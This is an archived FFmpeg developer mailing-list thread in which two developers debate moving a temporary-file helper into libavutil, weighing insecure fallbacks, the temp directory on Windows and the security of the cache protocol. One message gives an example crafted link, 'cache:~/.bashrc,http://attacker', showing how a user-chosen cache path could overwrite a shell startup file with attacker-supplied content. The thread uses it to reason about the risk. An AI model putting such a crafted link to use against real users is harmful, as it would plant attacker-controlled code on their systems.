[FFmpeg-devel] [RFC] av_tempfile()

[Reimar Döffinger]

On Sun, Oct 16, 2011 at 09:20:42PM +0200, Michael Niedermayer wrote:
> On Sun, Oct 16, 2011 at 08:57:52PM +0200, Reimar Döffinger wrote:
> > On Sun, Oct 16, 2011 at 08:50:03PM +0200, Michael Niedermayer wrote:
> > > On Sun, Oct 16, 2011 at 07:32:55PM +0200, Reimar Döffinger wrote:
> > > > On Sun, Oct 16, 2011 at 03:31:07PM +0200, Michael Niedermayer wrote:
> > > > > Hi
> > > > > 
> > > > > I think ff_tempfile() should be in libavutil as its a generically
> > > > > usefull thing and i will also need it from libavformat. Currently
> > > > > its only compiled when we link to xvid.
> > > > > 
> > > > > Ill move it to libavutil soon, but i wont update the version yet, only
> > > > > once there is agreement (or lack of disagreement) on name, API and
> > > > > place
> > > > 
> > > > I seem to remember some issues with it, so I wouldn't like too much for
> > > > it become critical.
> > > > The issues I see on a quick look are that the non-mkstemp fallback might
> > > > result in overall code being unsafe, that it will always create the file
> > > > in "." in that case.
> > > > For the mkstemp code that it always tries /tmp which is not really
> > > > appropriate for Windows,
> > > > that it does not respect TEMPDIR or any of the
> > > > other ones like that (note: I have more than once worked on systems
> > > > where tmp was accessible but had performance that made it unusable),
> > > > and it falls back to trying to create a file in "." for which I think
> > > > there is more than one reason to dislike.
> > > > Mostly I do not like of libav* creating any kind of file at all, ever,
> > > > or if there is no alternative at all it should be something like mkstemp
> > > > except that it will at also atomically unlink the file before returning
> > > > its descriptor.
> > > 
> > > Some users might want to keep the temporary files for debuging or in
> > > case of the cache protocol as a means to download while watching.
> > > 
> > > But what do you suggest how should it be implemented?
> > > We have several features that depend on temporary files (the libxvid
> > > wraper and the caching protocol)
> > 
> > Honestly? Remove the insecure crap first, and just fail.
> 
> what is insecure or to say it diferently how can it be exploited?

The usual tempfile exploits can be used to inject arbitrary data into
the cache file when mkstemp is not available or just wasn't detected
by configure.
This might include more serious consequences for file formats containing
reference that lavf follows without asking, even when they are remote.

> > "Features over security" IMO is not an acceptable behaviour, especially
> > if it's not possible to disable it.
> 
> > Then force the user to specify a file name. That also works far better
> > if you want the "download while watching" to work sanely.
> 
> I did that but that is exploitable
> More precissely  cache:~/.bashrc,http://attacker as clickable link
> or something along these lines as reference within another file
> thus as a result of this i decided to use a temporary file, which is
> what i commited.

Whether allowing anyone to create files with arbitrary content (even if
only in /tmp) is that great is questionable enough.
Maybe cache should just refuse to open unless an "ALLOW_UNSAFE" flag is set in
the format context.